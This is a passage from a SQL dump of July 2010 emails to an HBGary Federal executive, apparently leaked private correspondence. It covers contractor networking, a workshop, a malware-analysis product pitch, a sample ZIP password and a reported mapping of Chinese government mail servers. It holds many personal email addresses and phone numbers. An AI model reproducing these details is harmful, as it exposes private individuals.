<aaron@hbgary.com>','/aaron@hbgary.com/new/1297006571.M22591P14101Q3368.eml','\"Ted Vera\" <tedvera@me.com>','Re: .Mac Reader: NYT > Technology','Crap\r\n\r\nSent from my iPad\r\n\r\nOn Jul 13, 2010, at 9:25 PM, Ted Vera  wrote:\r\n\r\n> feed://www.nytimes.com/services/xml/rss/nyt/Technology.xml\r\n>\r\n>\r\n>\r\n',13282,'aaron_hbgary_com/13282.html'),(8514,'2010-07-14','\"Osterholz, John (US SSA)\" <john.osterholz@baesystems.com>','/aaron@hbgary.com/new/1297006571.M357227P14101Q3369.eml','\"Bill.Varner@ManTech.com\" <Bill.Varner@ManTech.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"alexander.miller@l-3com.com\" <alexander.miller@l-3com.com>,\"Barbara.G.Fast@boeing.com\" <Barbara.G.Fast@boeing.com>,\"bill.phelps@accenture.com\" <bill.phelps@accenture.com>,\"bmalexia@rockwellcollins.com\" <bmalexia@rockwellcollins.com>,\"ccpalmer@us.ibm.com\" <ccpalmer@us.ibm.com>,\"coxld@saic.com\" <coxld@saic.com>,\"david_joslin@federal.dell.com\" <david_joslin@federal.dell.com>,\"dusty.wince@knowledgecg.com\" <dusty.wince@knowledgecg.com>,\"ed.gibson@us.pwc.com\" <ed.gibson@us.pwc.com>,\"gjg@mitre.org\" <gjg@mitre.org>,\"jkoenig@harris.com\" <jkoenig@harris.com>,\"jpayne@telcordia.com\" <jpayne@telcordia.com>,\"jreagan@deloitte.com\" <jreagan@deloitte.com>,\"jwatters@isightpartners.com\" <jwatters@isightpartners.com>,\"kathy.warden@ngc.com\" <kathy.warden@ngc.com>,\"kenneth.sannicolas@stanleyassociates.com\" <kenneth.sannicolas@stanleyassociates.com>,\"lance.cottrell@abraxascorp.com\" <lance.cottrell@abraxascorp.com>,\"michael.fraser@usis.com\" <michael.fraser@usis.com>,\"nadia.short@gd-ais.com\" <nadia.short@gd-ais.com>,\"pat.burke@sra.com\" <pat.burke@sra.com>,\"rdix@juniper.net\" <rdix@juniper.net>,\"rodney.joffe@neustar.biz\" <rodney.joffe@neustar.biz>,\"roger_anderson@appsig.com\" <roger_anderson@appsig.com>,\"samuel.chun@hp.com\" <samuel.chun@hp.com>,\"scottmil@microsoft.com\" <scottmil@microsoft.com>,\"shawn.carroll@qwest.com\" <shawn.carroll@qwest.com>,\"skip.foote@americansystems.com\" <skip.foote@americansystems.com>,\"steve_k_hawkins@raytheon.com\" <steve_k_hawkins@raytheon.com>,\"svisner@csc.com\" <svisner@csc.com>,\"tiffany_jones@symantec.com\" <tiffany_jones@symantec.com>','Re: Greetings!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nLooking forward to the meet. jloJohn OsterholzVice PresidentCyber Warfare and Cybersecurity\r\n\r\n\r\nFrom: Varner, Bill &lt;Bill.Varner@ManTech.com&gt;To: aaron@hbgary.com &lt;aaron@hbgary.com&gt;; alexander.miller@l-3com.com &lt;alexander.miller@l-3com.com&gt;; barbara.g.fast@boeing.com &lt;barbara.g.fast@boeing.com&gt;; bill.phelps@accenture.com &lt;bill.phelps@accenture.com&gt;; bmalexia@rockwellcollins.com &lt;bmalexia@rockwellcollins.com&gt;; ccpalmer@us.ibm.com &lt;ccpalmer@us.ibm.com&gt;; coxld@saic.com &lt;coxld@saic.com&gt;; david_joslin@federal.dell.com &lt;david_joslin@federal.dell.com&gt;; dusty.wince@knowledgecg.com &lt;dusty.wince@knowledgecg.com&gt;; ed.gibson@us.pwc.com &lt;ed.gibson@us.pwc.com&gt;; gjg@mitre.org &lt;gjg@mitre.org&gt;; jkoenig@harris.com &lt;jkoenig@harris.com&gt;; Osterholz, John (US SSA); jpayne@telcordia.com &lt;jpayne@telcordia.com&gt;; jreagan@deloitte.com &lt;jreagan@deloitte.com&gt;; jwatters@isightpartners.com &lt;jwatters@isightpartners.com&gt;; kathy.warden@ngc.com &lt;kathy.warden@ngc.com&gt;; kenneth.sannicolas@stanleyassociates.com &lt;kenneth.sannicolas@stanleyassociates.com&gt;; lance.cottrell@abraxascorp.com &lt;lance.cottrell@abraxascorp.com&gt;; michael.fraser@usis.com &lt;michael.fraser@usis.com&gt;; nadia.short@gd-ais.com &lt;nadia.short@gd-ais.com&gt;; pat.burke@sra.com &lt;pat.burke@sra.com&gt;; rdix@juniper.net &lt;rdix@juniper.net&gt;; rodney.joffe@neustar.biz &lt;rodney.joffe@neustar.biz&gt;; roger_anderson@appsig.com &lt;roger_anderson@appsig.com&gt;; samuel.chun@hp.com &lt;samuel.chun@hp.com&gt;; scottmil@microsoft.com &lt;scottmil@microsoft.com&gt;; shawn.carroll@qwest.com &lt;shawn.carroll@qwest.com&gt;; skip.foote@americansystems.com &lt;skip.foote@americansystems.com&gt;; steve_k_hawkins@raytheon.com &lt;steve_k_hawkins@raytheon.com&gt;; svisner@csc.com &lt;svisner@csc.com&gt;; tiffany_jones@symantec.com &lt;tiffany_jones@symantec.com&gt;; wcooper@cisco.com &lt;wcooper@cisco.com&gt;; zazmi@caci.com &lt;zazmi@caci.com&gt;Sent: Tue Jul 13 17:23:37 2010Subject: Greetings!\r\n\r\n\r\n\r\n\r\nLooking forward to seeing as many of us as possible at\r\nbreakfast on August 3.\r\n\r\n&nbsp;\r\n\r\nI’m planning to go over the feedback from our first dinner\r\nmeeting, and would like to narrow down our choices or preferences for the next\r\ndinner speaker.\r\n\r\n&nbsp;\r\n\r\nWe have had some limited discussions re the draft National\r\nStrategy for Trusted Identities in Cyberspace. I still would like to submit\r\nsomething to Howard Schmidt from the Group, both to put us on the map and to\r\nhelp the process of creating trusted ways of using the Internet. When I think\r\nof trusted supply chain management, as the paper mentions, I tend to think of\r\nthe counterintelligence perspective. I do believe there is a strong CI\r\ncomponent to the trusted identity issue, and some of our email discussions,\r\nparticularly between Aaron and John have begun to explore that idea.\r\n\r\n&nbsp;\r\n\r\nI am as guilty as everyone of not being able to devote all\r\nof the time we would like to this, but if we can generate some more discussion\r\naround this I can try to turn our thoughts into a response by July 19.\r\n\r\n&nbsp;\r\n\r\nSee you soon,\r\n\r\n&nbsp;\r\n\r\nBill \r\n\r\n&nbsp;\r\n\r\nL. William Varner\r\n\r\nPresident\r\n\r\nMission, Cyber &amp;\r\nTechnology Solutions Group\r\n\r\nManTech International\r\nCorporation\r\n\r\n2250 Corporate Park Drive,\r\nSuite 500\r\n\r\nHerndon, VA 20171\r\n\r\nOffice: (703) 674-2778 l\r\nE-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp; \r\n\r\nEmail: Bill.Varner@Mantech.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8964,'aaron_hbgary_com/8964.html'),(8515,'2010-07-14','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006571.M575802P14101Q3370.eml','\"Barr Aaron\" <aaron@hbgary.com>','New Menace in the War Against Online Crime - Gadgetwise Blog - NYTimes.com','This is what I meant to send. \r\n\r\n\r\nhttp://gadgetwise.blogs.nytimes.com/2010/07/13/new-menace-in-the-war-against-cyber-crime/?partner=rss&emc=rss\r\n\r\n\r\n\r\n',11914,'aaron_hbgary_com/11914.html'),(8516,'2010-07-14','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006571.M821779P14101Q3371.eml','\"Barr Aaron\" <aaron@hbgary.com>','FOUND: small white dog in Fountain','Every stray ends up at my house. I think it\'s a maltipoo. \r\n\r\nhttp://cosprings.craigslist.org/laf/1841834754.html\r\n\r\n\r\n\r\n',1422,'aaron_hbgary_com/1422.html'),(8517,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006572.M292243P14101Q3373.eml','\"Henderson, Mike (XETRON)\" <Michael.Henderson@ngc.com>,\"Henderson, Mike (XETRON)\" <Michael.Henderson@ngc.com>','Re: EXTERNAL:Question','Mike, is this the event you mentioned?\r\nCyber and Netcentric Workshop\r\n13–14 July 2010\r\nThe Cyber and Netcentric Workshop provides the user, acquisition, research, and developer communities with discussions on lessons learned, current trends, technical challenges, and the road ahead. This is a classified workshop. A security clearance is required for attendance. Email for more information.\r\nOn Jul 13, 2010, at 4:25 PM, &quot;Henderson, Mike (XETRON)&quot; &lt;Michael.Henderson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\nOK – I’ll send along any good tid bits if any fall out. It’s\r\nlargely FFRDCs and their customers, but you never know what kinds of info will\r\nfloat up at these things.\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 6:23 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n \r\n\r\nNope\r\n\r\n\r\n\r\nOn Tue, Jul 13, 2010 at 4:22 PM, Henderson, Mike (XETRON)\r\n&lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nSounds good – definitely have to keep\r\nthose irons in the fire.\r\n\r\n \r\n\r\nBy chance are you or any of your folks\r\ngoing to the Lincoln Labs/MIT Malware TEM this week?\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, July 13, 2010 6:20 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThat\r\nis the &quot;good&quot; kind of crazy.  We&#39;re doing alright, still mostly\r\na lot of business development activities &amp; proposals.  Won a contract\r\na couple of weeks ago, work starts in September.  Also have a small pilot\r\nproject starting in a couple of weeks for one of the Nat&#39;l labs.  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:55 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nCrazy as always, but still the “good”\r\nkind of crazy (lots of work, not enough hours in the day).\r\n\r\n \r\n\r\nI hope all’s well with you and yours!\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, July 13, 2010 5:54 PM\r\nTo: Henderson, Mike (XETRON)\r\nCc: Masterson, Brian M (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHey\r\nMike, thanks alot.  How&#39;s everything going out in Cincinnati?  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:51 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nZIP password is “infected”\r\n\r\n \r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10578,'aaron_hbgary_com/10578.html'),(8518,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006572.M49860P14101Q3372.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: EXTERNAL:Question','Could it be the cyber &amp; net centric workshop on 13 &amp; 14th?http://www.ll.mit.edu/workshops/index.html\r\nTedOn Jul 13, 2010, at 6:16 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Where is it?Sent from my iPhone\r\nOn Jul 13, 2010, at 6:42 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n---------- Forwarded message ----------From: Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\n\r\nDate: Tue, Jul 13, 2010 at 4:25 PMSubject: RE: EXTERNAL:QuestionTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK – I’ll send along any good tid bits if any fall out. It’s\r\nlargely FFRDCs and their customers, but you never know what kinds of info will\r\nfloat up at these things.\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 6:23 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n \r\n\r\nNope\r\n\r\n\r\n\r\nOn Tue, Jul 13, 2010 at 4:22 PM, Henderson, Mike (XETRON)\r\n&lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nSounds good – definitely have to keep\r\nthose irons in the fire.\r\n\r\n \r\n\r\nBy chance are you or any of your folks\r\ngoing to the Lincoln Labs/MIT Malware TEM this week?\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, July 13, 2010 6:20 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThat\r\nis the &quot;good&quot; kind of crazy.  We&#39;re doing alright, still mostly\r\na lot of business development activities &amp; proposals.  Won a contract\r\na couple of weeks ago, work starts in September.  Also have a small pilot\r\nproject starting in a couple of weeks for one of the Nat&#39;l labs.  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:55 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nCrazy as always, but still the “good”\r\nkind of crazy (lots of work, not enough hours in the day).\r\n\r\n \r\n\r\nI hope all’s well with you and yours!\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, July 13, 2010 5:54 PM\r\nTo: Henderson, Mike (XETRON)\r\nCc: Masterson, Brian M (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHey\r\nMike, thanks alot.  How&#39;s everything going out in Cincinnati?  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:51 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nZIP password is “infected”\r\n\r\n \r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',14150,'aaron_hbgary_com/14150.html'),(8519,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006572.M544559P14101Q3374.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: EXTERNAL:Question','Found this:\r\n Lincoln Labs workshop to include prominent speakersSeveral influential speakers, including the commander of U.S. Strategic Command and the cybersecurity coordinator of the Obama administration, will address MIT Lincoln Laboratory’s annual Cyber and Netcentric Workshop July 13-14.\r\nGen. Kevin P. Chilton, commander of STRATCOM, and Howard A. Schmidt, special assistant to the president and cybersecurity coordinator, will join Priscilla E. Guthrie, chief information officer in the Office of the Director of National Intelligence and Maj. Gen. Suzanne M. Vautrinot, deputy commander of Joint Functional Component Command - Network Warfare for U.S. Strategic Command, as keynote speakers for the event.\r\nThe workshop, which will be held at Lincoln Laboratory in Lexington, Mass., will again focus on Cyber Security and Netcentric Operations and will include keynote addresses, technical presentations from the user, acquisition, research and developer communities, and a demonstration/poster forum. The theme for this year will be “Challenges and Solutions for National Security.”\r\nLincoln Laboratory will follow the CNW conference with an in-depth two-day technical workshop covering Malware and Bot Technology Reverse Engineering July 15-16.\r\nRegistration fee for the workshop is $270, which includes the reception, lobster clambake, continental breakfast, lunch, refreshments and other workshop incidentals. Deadline to register is July 1.\r\nRegistration is currently open. Seating is limited, so early registration is encouraged. For registration information, contact Deborah Surtees or Robin Parent at (781) 981-7600, or via email at cnw@ll.mit.edu.\r\nOn Jul 13, 2010, at 6:16 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nWhere is it?Sent from my iPhoneOn Jul 13, 2010, at 6:42 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n---------- Forwarded message ----------From: Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\n\r\nDate: Tue, Jul 13, 2010 at 4:25 PMSubject: RE: EXTERNAL:QuestionTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK – I’ll send along any good tid bits if any fall out. It’s\r\nlargely FFRDCs and their customers, but you never know what kinds of info will\r\nfloat up at these things.\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 6:23 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n \r\n\r\nNope\r\n\r\n\r\n\r\nOn Tue, Jul 13, 2010 at 4:22 PM, Henderson, Mike (XETRON)\r\n&lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nSounds good – definitely have to keep\r\nthose irons in the fire.\r\n\r\n \r\n\r\nBy chance are you or any of your folks\r\ngoing to the Lincoln Labs/MIT Malware TEM this week?\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, July 13, 2010 6:20 PM\r\nTo: Henderson, Mike (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThat\r\nis the &quot;good&quot; kind of crazy.  We&#39;re doing alright, still mostly\r\na lot of business development activities &amp; proposals.  Won a contract\r\na couple of weeks ago, work starts in September.  Also have a small pilot\r\nproject starting in a couple of weeks for one of the Nat&#39;l labs.  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:55 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nCrazy as always, but still the “good”\r\nkind of crazy (lots of work, not enough hours in the day).\r\n\r\n \r\n\r\nI hope all’s well with you and yours!\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, July 13, 2010 5:54 PM\r\nTo: Henderson, Mike (XETRON)\r\nCc: Masterson, Brian M (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHey\r\nMike, thanks alot.  How&#39;s everything going out in Cincinnati?  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn\r\nTue, Jul 13, 2010 at 3:51 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nZIP password is “infected”\r\n\r\n \r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',366,'aaron_hbgary_com/366.html'),(8520,'2010-07-14','\"Brandon Colston\" <brandon.colston@gmail.com>','/aaron@hbgary.com/new/1297006572.M780122P14101Q3375.eml','\"Aaron Barr\" <aaron@hbgary.com>','HBGary','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nBrandon Colston has sent you a message.\r\n\r\n\r\n  Date:\r\n  7/13/2010\r\n\r\n\r\n  Subject:\r\n  HBGary\r\n\r\n\r\n\r\n  Aaron,\r\n\r\n\r\n\r\nHow are things going with HBGary?\r\n\r\n\r\n\r\nI noticed you posted about the Palantir Night Live event.  Are you guys working with Palantir?\r\n\r\n\r\n\r\nJust thought I would check in.\r\n\r\n\r\n\r\nTake care,\r\n\r\nBrandon\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',11281,'aaron_hbgary_com/11281.html'),(8521,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006573.M153094P14101Q3376.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: LinkedIn Network Updates, 7/13/2010','Looks like the ARSTRAT lawyer joined NEK as a director. I&#39;m going to give him a call tomorrow. TedBegin forwarded message:\r\nFrom: LinkedIn Updates &lt;updates@linkedin.com&gt;Date: July 13, 2010 10:22:05 PM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;\r\nSubject: LinkedIn Network Updates, 7/13/2010\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          LinkedIn\r\n\r\n    \r\n      Network Updates, Jul 6 - Jul 13\r\n    \r\n          \r\n          \r\n        \r\n      \r\n    \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        PROFILE\r\n  \r\n    \r\n    \r\n      View all Network Updates\r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n\r\n\r\n      Kevin Spease\r\n                   has an updated profile (Specialties)\r\n            \r\n            \r\n\r\n\r\n                                                 \r\n\r\n\r\n\r\nCarl Tegeder, Jr has added a Twitter account: carltegeder\r\n\r\n             \r\n            \r\n\r\n\r\n\r\n      David Willson, Esq., CISSP\r\n                    has an updated current title: Deputy Director, Cyber Operations at NEK Advanced Securities Group, Inc.\r\n                  Send note »\r\n            \r\n            \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        CONNECTIONS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n  Aaron Barr\r\nis now connected to\r\n            John Smith\r\n             and \r\n            Lisa Cunningham\r\n             \r\n            \r\n            \r\n\r\n  Larry Strang\r\nis now connected to\r\n            Kent Rogers\r\n             and \r\n            Pete Rizik\r\n             \r\n            \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        POSTS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n\r\n\r\n\r\n\r\n\r\nJeff McCartney\r\nSolving the worlds problems one program at a time :)      \r\n      Comment \r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n             \r\n            \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nIt&#39;s not good enough Vint Cerf is the father of the #Internet he is inventing Interplanetary communications. #pnldc.      \r\n      Comment \r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n             \r\n            \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n#pnldc Covert operations are imperative for our ability to defend ourselves, so says Vint Cerf.      \r\n      Comment \r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n             \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        GROUPS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n    Michael Thornton, Jr. has joined\r\n    Business Development\r\n            \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        RECOMMENDATIONS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n\r\n      Michelle Watton was recommended by\r\ncolleague      Peter O&#39;Keefe\r\n        Michelle consistently provided excellent leadership.  She was in-tune with client needs and communic...\r\n        Read more\r\n\r\n            \r\n  \r\n  \r\n    \r\n    \r\n      \r\n   View all Network Updates   \r\n\r\n    \r\n  \r\n\r\nDon&#39;t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n\r\n© 2010, LinkedIn Corporation\r\n  \r\n\r\n',6571,'aaron_hbgary_com/6571.html'),(8522,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006573.M383088P14101Q3377.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: EXTERNAL:TMC','Got a response from Dale, now we need to prep a demo.\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Tuesday, July 13, 2010\r\nSubject: Re: EXTERNAL:TMC\r\nTo: \"Graham, Dale E (IS)\" \r\n\r\n\r\nOk, I\'ll follow up with you when you get back home. We can schedule a\r\ndemo and discuss pricing. Hope you have a good visit.\r\nTed\r\n\r\nOn Jul 13, 2010, at 8:59 PM, \"Graham, Dale E (IS)\"  wrote:\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\nI am only in town for one day and they did not leave times for bio-breaks.\r\n\r\nI am interested in discussing your product and pricing.  Last we spoke\r\nto 1st IO about HP Gary price chased them away.\r\n\r\nMost likely we will have to do initial discussion by phone or delay\r\nuntil next month\r\n------Original Message------\r\nFrom: Ted Vera\r\nTo: DALE GRAHAM\r\nSubject: EXTERNAL:TMC\r\nSent: Jul 13, 2010 10:32 AM\r\n\r\nHi Dale, I heard that you are in Colorado Springs.  Last we spoke I\r\nmentioned our automated malware reverse engineering capability that\r\nwas in development.  We now have a working prototype that we are\r\nbeginning to shrink-wrap as COTS.  We call it the Threat Monitoring\r\nCenter (TMC).  I think it could drastically improve 1st IO\'s malware\r\nanalysis capability - by orders of magnitude.  We are currently\r\nprocessing over 30K malware per day.  Would you be interested in doing\r\nlunch this week to catch up and discuss? Hope all is well, Ted\r\n-----------------------\r\nSent via Blackberry\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9386,'aaron_hbgary_com/9386.html'),(8523,'2010-07-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006573.M656222P14101Q3378.eml','\"Barr Aaron\" <aaron@hbgary.com>','David','This is what I sent him:\r\n\r\nCongrats David,\r\n\r\nIs this a full-time position, will you still be consulting or pursuing\r\ntrust anchor? Our CEO recently met NEKs CEO and it sounded Iike there\r\nare some synergies for possible teaming. Once you get settled in, I\'d\r\nlike to set up a meeting so we can exchange capabilities briefings.\r\n\r\nWarm regards,\r\nTed\r\n',4264,'aaron_hbgary_com/4264.html'),(8524,'2010-07-14','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006576.M142074P14101Q3379.eml','aaron@hbgary.com','Fwd: That deaf dumb and blind kid sure plays a mean pinball!',' \r\nShawn has a search engine now.  Check the pics - he has every email server + version in the *.gov.cn mapped.\r\n \r\n-Greg\r\n---------- Forwarded message ----------From: Shawn Bracken &lt;shawn@hbgary.com&gt;Date: Tue, Jul 13, 2010 at 9:30 PM\r\nSubject: That deaf 